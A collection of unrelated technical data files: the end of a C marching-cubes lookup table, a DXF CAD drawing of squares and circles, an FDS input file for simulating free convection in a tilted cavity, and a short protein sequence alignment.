-1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 3, 2, 8, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1}, {10, 4, 9, 10, 6, 4, 11, 2, 3, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 2, 2, 8, 11, 4, 9, 10, 4, 10, 6, -1, -1, -1, -1}, {3, 11, 2, 0, 1, 6, 0, 6, 4, 6, 1, 10, -1, -1, -1, -1}, {6, 4, 1, 6, 1, 10, 4, 8, 1, 2, 1, 11, 8, 11, 1, -1}, {9, 6, 4, 9, 3, 6, 9, 1, 3, 11, 6, 3, -1, -1, -1, -1}, {8, 11, 1, 8, 1, 0, 11, 6, 1, 9, 1, 4, 6, 4, 1, -1}, {3, 11, 6, 3, 6, 0, 0, 6, 4, -1, -1, -1, -1, -1, -1, -1}, {6, 4, 8, 11, 6, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 10, 6, 7, 8, 10, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1}, {0, 7, 3, 0, 10, 7, 0, 9, 10, 6, 7, 10, -1, -1, -1, -1}, {10, 6, 7, 1, 10, 7, 1, 7, 8, 1, 8, 0, -1, -1, -1, -1}, {10, 6, 7, 10, 7, 1, 1, 7, 3, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 6, 1, 6, 8, 1, 8, 9, 8, 6, 7, -1, -1, -1, -1}, {2, 6, 9, 2, 9, 1, 6, 7, 9, 0, 9, 3, 7, 3, 9, -1}, {7, 8, 0, 7, 0, 6, 6, 0, 2, -1, -1, -1, -1, -1, -1, -1}, {7, 3, 2, 6, 7, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 11, 10, 6, 8, 10, 8, 9, 8, 6, 7, -1, -1, -1, -1}, {2, 0, 7, 2, 7, 11, 0, 9, 7, 6, 7, 10, 9, 10, 7, -1}, {1, 8, 0, 1, 7, 8, 1, 10, 7, 6, 7, 10, 2, 3, 11, -1}, {11, 2, 1, 11, 1, 7, 10, 6, 1, 6, 7, 1, -1, -1, -1, -1}, {8, 9, 6, 8, 6, 7, 9, 1, 6, 11, 6, 3, 1, 3, 6, -1}, {0, 9, 1, 11, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 8, 0, 7, 0, 6, 3, 11, 0, 11, 6, 0, -1, -1, -1, -1}, {7, 11, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 8, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 9, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 1, 9, 8, 3, 1, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, {10, 1, 2, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 3, 0, 8, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, {2, 9, 0, 2, 10, 9, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, {6, 11, 7, 2, 10, 3, 10, 8, 3, 10, 9, 8, -1, -1, -1, -1}, {7, 2, 3, 6, 2, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {7, 0, 8, 7, 6, 0, 6, 2, 0, -1, -1, -1, -1, -1, -1, -1}, {2, 7, 6, 2, 3, 7, 0, 1, 9, -1, -1, -1, -1, -1, -1, -1}, {1, 6, 2, 1, 8, 6, 1, 9, 8, 8, 7, 6, -1, -1, -1, -1}, {10, 7, 6, 10, 1, 7, 1, 3, 7, -1, -1, -1, -1, -1, -1, -1}, {10, 7, 6, 1, 7, 10, 1, 8, 7, 1, 0, 8, -1, -1, -1, -1}, {0, 3, 7, 0, 7, 10, 0, 10, 9, 6, 10, 7, -1, -1, -1, -1}, {7, 6, 10, 7, 10, 8, 8, 10, 9, -1, -1, -1, -1, -1, -1, -1}, {6, 8, 4, 11, 8, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 6, 11, 3, 0, 6, 0, 4, 6, -1, -1, -1, -1, -1, -1, -1}, {8, 6, 11, 8, 4, 6, 9, 0, 1, -1, -1, -1, -1, -1, -1, -1}, {9, 4, 6, 9, 6, 3, 9, 3, 1, 11, 3, 6, -1, -1, -1, -1}, {6, 8, 4, 6, 11, 8, 2, 10, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 3, 0, 11, 0, 6, 11, 0, 4, 6, -1, -1, -1, -1}, {4, 11, 8, 4, 6, 11, 0, 2, 9, 2, 10, 9, -1, -1, -1, -1}, {10, 9, 3, 10, 3, 2, 9, 4, 3, 11, 3, 6, 4, 6, 3, -1}, {8, 2, 3, 8, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1}, {0, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 9, 0, 2, 3, 4, 2, 4, 6, 4, 3, 8, -1, -1, -1, -1}, {1, 9, 4, 1, 4, 2, 2, 4, 6, -1, -1, -1, -1, -1, -1, -1}, {8, 1, 3, 8, 6, 1, 8, 4, 6, 6, 10, 1, -1, -1, -1, -1}, {10, 1, 0, 10, 0, 6, 6, 0, 4, -1, -1, -1, -1, -1, -1, -1}, {4, 6, 3, 4, 3, 8, 6, 10, 3, 0, 3, 9, 10, 9, 3, -1}, {10, 9, 4, 6, 10, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 5, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 4, 9, 5, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, {5, 0, 1, 5, 4, 0, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, {11, 7, 6, 8, 3, 4, 3, 5, 4, 3, 1, 5, -1, -1, -1, -1}, {9, 5, 4, 10, 1, 2, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, {6, 11, 7, 1, 2, 10, 0, 8, 3, 4, 9, 5, -1, -1, -1, -1}, {7, 6, 11, 5, 4, 10, 4, 2, 10, 4, 0, 2, -1, -1, -1, -1}, {3, 4, 8, 3, 5, 4, 3, 2, 5, 10, 5, 2, 11, 7, 6, -1}, {7, 2, 3, 7, 6, 2, 5, 4, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 5, 4, 0, 8, 6, 0, 6, 2, 6, 8, 7, -1, -1, -1, -1}, {3, 6, 2, 3, 7, 6, 1, 5, 0, 5, 4, 0, -1, -1, -1, -1}, {6, 2, 8, 6, 8, 7, 2, 1, 8, 4, 8, 5, 1, 5, 8, -1}, {9, 5, 4, 10, 1, 6, 1, 7, 6, 1, 3, 7, -1, -1, -1, -1}, {1, 6, 10, 1, 7, 6, 1, 0, 7, 8, 7, 0, 9, 5, 4, -1}, {4, 0, 10, 4, 10, 5, 0, 3, 10, 6, 10, 7, 3, 7, 10, -1}, {7, 6, 10, 7, 10, 8, 5, 4, 10, 4, 8, 10, -1, -1, -1, -1}, {6, 9, 5, 6, 11, 9, 11, 8, 9, -1, -1, -1, -1, -1, -1, -1}, {3, 6, 11, 0, 6, 3, 0, 5, 6, 0, 9, 5, -1, -1, -1, -1}, {0, 11, 8, 0, 5, 11, 0, 1, 5, 5, 6, 11, -1, -1, -1, -1}, {6, 11, 3, 6, 3, 5, 5, 3, 1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 10, 9, 5, 11, 9, 11, 8, 11, 5, 6, -1, -1, -1, -1}, {0, 11, 3, 0, 6, 11, 0, 9, 6, 5, 6, 9, 1, 2, 10, -1}, {11, 8, 5, 11, 5, 6, 8, 0, 5, 10, 5, 2, 0, 2, 5, -1}, {6, 11, 3, 6, 3, 5, 2, 10, 3, 10, 5, 3, -1, -1, -1, -1}, {5, 8, 9, 5, 2, 8, 5, 6, 2, 3, 8, 2, -1, -1, -1, -1}, {9, 5, 6, 9, 6, 0, 0, 6, 2, -1, -1, -1, -1, -1, -1, -1}, {1, 5, 8, 1, 8, 0, 5, 6, 8, 3, 8, 2, 6, 2, 8, -1}, {1, 5, 6, 2, 1, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 3, 6, 1, 6, 10, 3, 8, 6, 5, 6, 9, 8, 9, 6, -1}, {10, 1, 0, 10, 0, 6, 9, 5, 0, 5, 6, 0, -1, -1, -1, -1}, {0, 3, 8, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {10, 5, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 5, 10, 7, 5, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {11, 5, 10, 11, 7, 5, 8, 3, 0, -1, -1, -1, -1, -1, -1, -1}, {5, 11, 7, 5, 10, 11, 1, 9, 0, -1, -1, -1, -1, -1, -1, -1}, {10, 7, 5, 10, 11, 7, 9, 8, 1, 8, 3, 1, -1, -1, -1, -1}, {11, 1, 2, 11, 7, 1, 7, 5, 1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 1, 2, 7, 1, 7, 5, 7, 2, 11, -1, -1, -1, -1}, {9, 7, 5, 9, 2, 7, 9, 0, 2, 2, 11, 7, -1, -1, -1, -1}, {7, 5, 2, 7, 2, 11, 5, 9, 2, 3, 2, 8, 9, 8, 2, -1}, {2, 5, 10, 2, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1}, {8, 2, 0, 8, 5, 2, 8, 7, 5, 10, 2, 5, -1, -1, -1, -1}, {9, 0, 1, 5, 10, 3, 5, 3, 7, 3, 10, 2, -1, -1, -1, -1}, {9, 8, 2, 9, 2, 1, 8, 7, 2, 10, 2, 5, 7, 5, 2, -1}, {1, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 7, 0, 7, 1, 1, 7, 5, -1, -1, -1, -1, -1, -1, -1}, {9, 0, 3, 9, 3, 5, 5, 3, 7, -1, -1, -1, -1, -1, -1, -1}, {9, 8, 7, 5, 9, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {5, 8, 4, 5, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1}, {5, 0, 4, 5, 11, 0, 5, 10, 11, 11, 3, 0, -1, -1, -1, -1}, {0, 1, 9, 8, 4, 10, 8, 10, 11, 10, 4, 5, -1, -1, -1, -1}, {10, 11, 4, 10, 4, 5, 11, 3, 4, 9, 4, 1, 3, 1, 4, -1}, {2, 5, 1, 2, 8, 5, 2, 11, 8, 4, 5, 8, -1, -1, -1, -1}, {0, 4, 11, 0, 11, 3, 4, 5, 11, 2, 11, 1, 5, 1, 11, -1}, {0, 2, 5, 0, 5, 9, 2, 11, 5, 4, 5, 8, 11, 8, 5, -1}, {9, 4, 5, 2, 11, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 5, 10, 3, 5, 2, 3, 4, 5, 3, 8, 4, -1, -1, -1, -1}, {5, 10, 2, 5, 2, 4, 4, 2, 0, -1, -1, -1, -1, -1, -1, -1}, {3, 10, 2, 3, 5, 10, 3, 8, 5, 4, 5, 8, 0, 1, 9, -1}, {5, 10, 2, 5, 2, 4, 1, 9, 2, 9, 4, 2, -1, -1, -1, -1}, {8, 4, 5, 8, 5, 3, 3, 5, 1, -1, -1, -1, -1, -1, -1, -1}, {0, 4, 5, 1, 0, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {8, 4, 5, 8, 5, 3, 9, 0, 5, 0, 3, 5, -1, -1, -1, -1}, {9, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 11, 7, 4, 9, 11, 9, 10, 11, -1, -1, -1, -1, -1, -1, -1}, {0, 8, 3, 4, 9, 7, 9, 11, 7, 9, 10, 11, -1, -1, -1, -1}, {1, 10, 11, 1, 11, 4, 1, 4, 0, 7, 4, 11, -1, -1, -1, -1}, {3, 1, 4, 3, 4, 8, 1, 10, 4, 7, 4, 11, 10, 11, 4, -1}, {4, 11, 7, 9, 11, 4, 9, 2, 11, 9, 1, 2, -1, -1, -1, -1}, {9, 7, 4, 9, 11, 7, 9, 1, 11, 2, 11, 1, 0, 8, 3, -1}, {11, 7, 4, 11, 4, 2, 2, 4, 0, -1, -1, -1, -1, -1, -1, -1}, {11, 7, 4, 11, 4, 2, 8, 3, 4, 3, 2, 4, -1, -1, -1, -1}, {2, 9, 10, 2, 7, 9, 2, 3, 7, 7, 4, 9, -1, -1, -1, -1}, {9, 10, 7, 9, 7, 4, 10, 2, 7, 8, 7, 0, 2, 0, 7, -1}, {3, 7, 10, 3, 10, 2, 7, 4, 10, 1, 10, 0, 4, 0, 10, -1}, {1, 10, 2, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 1, 4, 1, 7, 7, 1, 3, -1, -1, -1, -1, -1, -1, -1}, {4, 9, 1, 4, 1, 7, 0, 8, 1, 8, 7, 1, -1, -1, -1, -1}, {4, 0, 3, 7, 4, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {4, 8, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {9, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 9, 3, 9, 11, 11, 9, 10, -1, -1, -1, -1, -1, -1, -1}, {0, 1, 10, 0, 10, 8, 8, 10, 11, -1, -1, -1, -1, -1, -1, -1}, {3, 1, 10, 11, 3, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 2, 11, 1, 11, 9, 9, 11, 8, -1, -1, -1, -1, -1, -1, -1}, {3, 0, 9, 3, 9, 11, 1, 2, 9, 2, 11, 9, -1, -1, -1, -1}, {0, 2, 11, 8, 0, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {3, 2, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 8, 2, 8, 10, 10, 8, 9, -1, -1, -1, -1, -1, -1, -1}, {9, 10, 2, 0, 9, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {2, 3, 8, 2, 8, 10, 0, 1, 8, 1, 10, 8, -1, -1, -1, -1}, {1, 10, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {1, 3, 8, 9, 1, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 9, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {0, 3, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}}; static int vertices_to_offset[12][4]={ {0, 1, 1, 0}, // #0 {1, 1, 1, 0}, // #1 {0, 1, 0, 0}, // #2 {1, 0, 1, 0}, // #3 {0, 1, 1, 1}, // #4 {1, 1, 1, 1}, // #5 {0, 1, 0, 1}, // #6 {1, 0, 1, 1}, // #7 {2, 0, 1, 1}, // #8 {2, 1, 1, 1}, // #9 {2, 1, 0, 1}, // #10 {2, 0, 0, 1}}; // #11 THFloatTensor* offset_to_vertices(THFloatTensor *offset, int x, int y, int z); THLongTensor* points_in_grid(THFloatTensor *points, float i, float j, float k);
{ "pile_set_name": "Github" }
0 SECTION 2 HEADER 9 $ACADVER 1 AC1009 9 $DWGCODEPAGE 3 ansi_1252 9 $INSBASE 10 0.0 20 0.0 30 0.0 9 $EXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $EXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $LIMMIN 10 0.0 20 0.0 9 $LIMMAX 10 12.0 20 9.0 9 $ORTHOMODE 70 0 9 $REGENMODE 70 1 9 $FILLMODE 70 1 9 $QTEXTMODE 70 0 9 $MIRRTEXT 70 1 9 $DRAGMODE 70 2 9 $LTSCALE 40 1.0 9 $OSMODE 70 37 9 $ATTMODE 70 1 9 $TEXTSIZE 40 0.2 9 $TRACEWID 40 0.05 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 DEFAULT 9 $CELTYPE 6 BYLAYER 9 $CECOLOR 62 256 9 $DIMSCALE 40 1.0 9 $DIMASZ 40 0.18 9 $DIMEXO 40 0.0625 9 $DIMDLI 40 0.38 9 $DIMRND 40 0.0 9 $DIMDLE 40 0.0 9 $DIMEXE 40 0.18 9 $DIMTP 40 0.0 9 $DIMTM 40 0.0 9 $DIMTXT 40 0.18 9 $DIMCEN 40 0.09 9 $DIMTSZ 40 0.0 9 $DIMTOL 70 0 9 $DIMLIM 70 0 9 $DIMTIH 70 1 9 $DIMTOH 70 1 9 $DIMSE1 70 0 9 $DIMSE2 70 0 9 $DIMTAD 70 0 9 $DIMZIN 70 0 9 $DIMBLK 1 9 $DIMASO 70 1 9 $DIMSHO 70 1 9 $DIMPOST 1 9 $DIMAPOST 1 9 $DIMALT 70 0 9 $DIMALTD 70 2 9 $DIMALTF 40 25.4 9 $DIMLFAC 40 1.0 9 $DIMTOFL 70 0 9 $DIMTVP 40 0.0 9 $DIMTIX 70 0 9 $DIMSOXD 70 0 9 $DIMSAH 70 0 9 $DIMBLK1 1 9 $DIMBLK2 1 9 $DIMSTYLE 2 STANDARD_ACAD 9 $DIMCLRD 70 0 9 $DIMCLRE 70 0 9 $DIMCLRT 70 0 9 $DIMTFAC 40 1.0 9 $DIMGAP 40 0.09 9 $LUNITS 70 2 9 $LUPREC 70 3 9 $SKETCHINC 40 0.1 9 $FILLETRAD 40 0.5 9 $AUNITS 70 0 9 $AUPREC 70 0 9 $MENU 1 . 9 $ELEVATION 40 0.0 9 $PELEVATION 40 0.0 9 $THICKNESS 40 0.0 9 $LIMCHECK 70 0 9 $CHAMFERA 40 0.0 9 $CHAMFERB 40 0.0 9 $SKPOLY 70 0 9 $TDCREATE 40 2458652.55362765 9 $TDUPDATE 40 2458652.553645012 9 $TDINDWG 40 0.0000000116 9 $TDUSRTIMER 40 0.0000000116 9 $USRTIMER 70 1 9 $ANGBASE 50 0.0 9 $ANGDIR 70 0 9 $PDMODE 70 0 9 $PDSIZE 40 0.0 9 $PLINEWID 40 0.0 9 $COORDS 70 1 9 $SPLFRAME 70 0 9 $SPLINETYPE 70 6 9 $SPLINESEGS 70 8 9 $ATTDIA 70 0 9 $ATTREQ 70 1 9 $HANDLING 70 1 9 $HANDSEED 5 90 9 $SURFTAB1 70 6 9 $SURFTAB2 70 6 9 $SURFTYPE 70 6 9 $SURFU 70 6 9 $SURFV 70 6 9 $UCSNAME 2 9 $UCSORG 10 0.0 20 0.0 30 0.0 9 $UCSXDIR 10 1.0 20 0.0 30 0.0 9 $UCSYDIR 10 0.0 20 1.0 30 0.0 9 $PUCSNAME 2 9 $PUCSORG 10 0.0 20 0.0 30 0.0 9 $PUCSXDIR 10 1.0 20 0.0 30 0.0 9 $PUCSYDIR 10 0.0 20 1.0 30 0.0 9 $USERI1 70 0 9 $USERI2 70 0 9 $USERI3 70 0 9 $USERI4 70 0 9 $USERI5 70 0 9 $USERR1 40 0.0 9 $USERR2 40 0.0 9 $USERR3 40 0.0 9 $USERR4 40 0.0 9 $USERR5 40 0.0 9 $WORLDVIEW 70 1 9 $SHADEDGE 70 3 9 $SHADEDIF 70 70 9 $TILEMODE 70 1 9 $MAXACTVP 70 64 9 $PLIMCHECK 70 0 9 $PEXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $PEXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $PLIMMIN 10 0.0 20 0.0 9 $PLIMMAX 10 12.0 20 9.0 9 $UNITMODE 70 0 9 $VISRETAIN 70 1 9 $PLINEGEN 70 0 9 $PSLTSCALE 70 1 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 70 1 0 VPORT 2 *ACTIVE 70 0 10 0.0 20 0.0 11 1.0 21 1.0 12 10.42990654205607 22 4.5 13 0.0 23 0.0 14 0.5 24 0.5 15 0.5 25 0.5 16 0.0 26 0.0 36 1.0 17 0.0 27 0.0 37 0.0 40 9.0 41 1.972972972850329 42 50.0 43 0.0 44 0.0 50 0.0 51 0.0 71 0 72 100 73 1 74 3 75 0 76 0 77 0 78 0 0 ENDTAB 0 TABLE 2 LTYPE 70 1 0 LTYPE 2 CONTINUOUS 70 0 3 Solid line 72 65 73 0 40 0.0 0 ENDTAB 0 TABLE 2 LAYER 70 2 0 LAYER 2 0 70 0 62 7 6 CONTINUOUS 0 LAYER 2 DEFAULT 70 0 62 7 6 CONTINUOUS 0 ENDTAB 0 TABLE 2 STYLE 70 1 0 STYLE 2 STANDARD 70 0 40 0.0 41 1.0 50 0.0 71 0 42 0.2 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 70 0 0 ENDTAB 0 TABLE 2 UCS 70 0 0 ENDTAB 0 TABLE 2 APPID 70 1 0 APPID 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 70 1 0 DIMSTYLE 2 STANDARD_ACAD 70 0 3 4 5 6 7 40 1.0 41 0.18 42 0.0625 43 0.38 44 0.18 45 0.0 46 0.0 47 0.0 48 0.0 140 0.18 141 0.09 142 0.0 143 25.4 144 1.0 145 0.0 146 1.0 147 0.09 71 0 72 0 73 1 74 1 75 0 76 0 77 0 78 0 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 8 0 2 $MODEL_SPACE 70 0 10 0.0 20 0.0 30 0.0 3 $MODEL_SPACE 1 0 ENDBLK 5 21 8 0 0 BLOCK 67 1 8 0 2 $PAPER_SPACE 70 0 10 0.0 20 0.0 30 0.0 3 $PAPER_SPACE 1 0 ENDBLK 5 1D 67 1 8 0 0 ENDSEC 0 SECTION 2 ENTITIES 0 POLYLINE 5 6F 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 70 8 DEFAULT 10 25.0 20 25.0 30 0.0 0 VERTEX 5 71 8 DEFAULT 10 35.0 20 25.0 30 0.0 0 VERTEX 5 72 8 DEFAULT 10 35.0 20 35.0 30 0.0 0 VERTEX 5 73 8 DEFAULT 10 25.0 20 35.0 30 0.0 0 SEQEND 5 74 8 DEFAULT 0 POLYLINE 5 75 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 76 8 DEFAULT 10 125.0 20 25.0 30 0.0 0 VERTEX 5 77 8 DEFAULT 10 135.0 20 25.0 30 0.0 0 VERTEX 5 78 8 DEFAULT 10 135.0 20 35.0 30 0.0 0 VERTEX 5 79 8 DEFAULT 10 125.0 20 35.0 30 0.0 0 SEQEND 5 7A 8 DEFAULT 0 CIRCLE 5 7B 8 DEFAULT 10 230.0 20 30.0 30 0.0 40 4.999999999999972 0 CIRCLE 5 7C 8 DEFAULT 10 230.0 20 30.0 30 0.0 40 30.0 0 POLYLINE 5 7D 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 7E 8 DEFAULT 10 130.0 20 -12.42640687119285 30 0.0 0 VERTEX 5 7F 8 DEFAULT 10 172.4264068711929 20 30.0 30 0.0 0 VERTEX 5 80 8 DEFAULT 10 130.0 20 72.42640687119285 30 0.0 0 VERTEX 5 81 8 DEFAULT 10 87.57359312880715 20 30.0 30 0.0 0 SEQEND 5 82 8 DEFAULT 0 POLYLINE 5 83 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 84 8 DEFAULT 10 0.0 20 0.0 30 0.0 0 VERTEX 5 85 8 DEFAULT 10 60.0 20 0.0 30 0.0 0 VERTEX 5 86 8 DEFAULT 10 60.0 20 60.0 30 0.0 0 VERTEX 5 87 8 DEFAULT 10 0.0 20 60.0 30 0.0 0 SEQEND 5 88 8 DEFAULT 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
&HEAD CHID='natconh_10_8_rot_18', TITLE='LES of free convection in enclosed space, Ra = 4.28e07' / ! 2 mesh &MESH IJK=36,64,32, XB=-.9,0,-.8,.8,-.4,.4/ H/dz=8 &MESH IJK=36,64,32, XB= 0,.9,-.8,.8,-.4,.4/ &TIME T_END=238./ &DUMP DT_DEVC=1./ &MISC STRATIFICATION=F, SIMULATION_MODE='LES', GVEC=-3.0283665448744808,0.,-9.32035385969251, IBM_PLANE_INTERPOLATION=F/ &RADI RADIATION=F/ &SPEC ID='AIR', SPECIFIC_HEAT=1., CONDUCTIVITY=0.018216, VISCOSITY=1.8216E-5, BACKGROUND=T/ ! Pr=1.00 &VENT PBY=-.8, SURF_ID='MIRROR' / &VENT PBY= .8, SURF_ID='MIRROR' / &SURF ID='insulated', COLOR='GRAY', HEAT_TRANSFER_COEFFICIENT=0./ &SURF ID='T1', COLOR='RED', TMP_FRONT=60, TAU_T=0, HEAT_TRANSFER_MODEL='RAYLEIGH' / &SURF ID='T2', COLOR='BLUE', TMP_FRONT=20, TAU_T=0, HEAT_TRANSFER_MODEL='RAYLEIGH' / &INIT XB=-.9,.9,-.8,.8,-.4,.4, TEMPERATURE=40/ &BNDF QUANTITY='WALL TEMPERATURE', CELL_CENTERED=T/ &BNDF QUANTITY='CONVECTIVE HEAT FLUX', CELL_CENTERED=T/ &BNDF QUANTITY='HEAT TRANSFER COEFFICIENT', CELL_CENTERED=T/ &BNDF QUANTITY='THERMAL WALL UNITS', CELL_CENTERED=T / &BNDF QUANTITY='VISCOUS WALL UNITS', CELL_CENTERED=T / &SLCF PBY=0, QUANTITY='VELOCITY', VECTOR=T / &SLCF PBY=0, QUANTITY='TEMPERATURE', VECTOR=T / &SLCF PBY=0, QUANTITY='TEMPERATURE', CELL_CENTERED=T / &SLCF PBY=0, QUANTITY='TEMPERATURE', CELL_CENTERED=T, SLICETYPE='INCLUDE_GEOM' / &DEVC XB=-.9,.9,-.8,.8,-.4,.4, QUANTITY='CONVECTIVE HEAT FLUX', SPATIAL_STATISTIC='SURFACE INTEGRAL', SURF_ID='T1', ID='Q1-0'/ &DEVC XB=-.9,.9,-.8,.8,-.4,.4, QUANTITY='CONVECTIVE HEAT FLUX', SPATIAL_STATISTIC='SURFACE INTEGRAL', SURF_ID='T2', ID='Q2-0'/ &DEVC XYZ=0,0,0, QUANTITY='BACKGROUND PRESSURE', ID='p0' / &DEVC XYZ=0,0,0, QUANTITY='DENSITY', ID='rho' / &MOVE ID='r1', ROTATION_ANGLE=-72., AXIS=0,1,0 / &GEOM ID='CAVITY', SURF_ID='insulated','T1','T2', MOVE_ID='r1' VERTS = 0.7 0.8 -1.0 0.1 0.8 -1.0 -0.1 0.8 -1.0 -0.7 0.8 -1.0 0.7 0.8 -0.8 0.1 0.8 -0.8 -0.1 0.8 -0.8 -0.7 0.8 -0.8 0.7 0.8 0.8 0.1 0.8 0.8 -0.1 0.8 0.8 -0.7 0.8 0.8 0.7 0.8 1.0 0.1 0.8 1.0 -0.1 0.8 1.0 -0.7 0.8 1.0 0.7 -0.8 -1.0 0.1 -0.8 -1.0 -0.1 -0.8 -1.0 -0.7 -0.8 -1.0 0.7 -0.8 -0.8 0.1 -0.8 -0.8 -0.1 -0.8 -0.8 -0.7 -0.8 -0.8 0.7 -0.8 0.8 0.1 -0.8 0.8 -0.1 -0.8 0.8 -0.7 -0.8 0.8 0.7 -0.8 1.0 0.1 -0.8 1.0 -0.1 -0.8 1.0 -0.7 -0.8 1.0 FACES = 1 6 5 1 1 2 6 1 2 7 6 1 2 3 7 1 3 4 7 1 7 4 8 1 5 10 9 1 5 6 10 1 7 12 11 1 7 8 12 1 10 14 13 1 9 10 13 1 10 15 14 1 10 11 15 1 11 16 15 1 11 12 16 1 17 21 22 1 17 22 18 1 18 22 23 1 18 23 19 1 19 23 20 1 23 24 20 1 21 25 26 1 21 26 22 1 23 27 28 1 23 28 24 1 25 29 26 1 29 30 26 1 26 30 31 1 26 31 27 1 27 31 32 1 27 32 28 1 4 20 8 1 8 20 24 1 8 24 12 1 12 24 28 1 12 28 16 1 16 28 32 1 16 32 15 1 15 32 31 1 15 31 14 1 14 31 30 1 14 30 13 1 13 30 29 1 13 29 9 1 9 29 25 1 9 25 5 1 5 25 21 1 5 21 1 1 1 21 17 1 1 17 2 1 2 17 18 1 2 18 3 1 3 18 19 1 3 19 4 1 4 19 20 1 6 7 23 1 6 23 22 1 10 6 22 3 10 22 26 3 11 10 26 1 11 26 27 1 7 11 27 2 7 27 23 2 / &TAIL /
{ "pile_set_name": "Github" }
>rk1_cyapa EEQLYEPLEAIQLLKQISTAKFIETVEVHCRLG------------ID------------- ----------------------PKYNDQQLRATVT------------------------- ---------------------------KAGKLEFRNDRTGIVHVLFGKANFSEEALLGNL KAVQEAVDRNRPSGVKGKYWKSIYITSTMSPSIEVDLPNGTGQTLRVAVITRGEKINEAS TAGADLVGAEELIDEI-QNGRLDFDCLIATPDMMPQVAKLGRVLGPRGLMPSPKGGTVTF DLAQAINDF >rl1_halvo VDAVSRALD------EAPGRNFRETVDLAVNLRDLDLNDPSKRVDESIVADETDFFVAEA GLMQDIGRYLGTVLGPRGKMPTPLQPDDDVVETVNRM----------------------- ---------------------------KNTVQLRSRDRRT-FHTRVGADDMTPDEIAENI DVIVRRLEATLEKGPL--NIDSVYVKTTMGPSVEV-LPSGTGQDTQIVVFATGETA--AE DAADEVLGPDELED-FGDDT---------------------------------------- ---DAAKDL 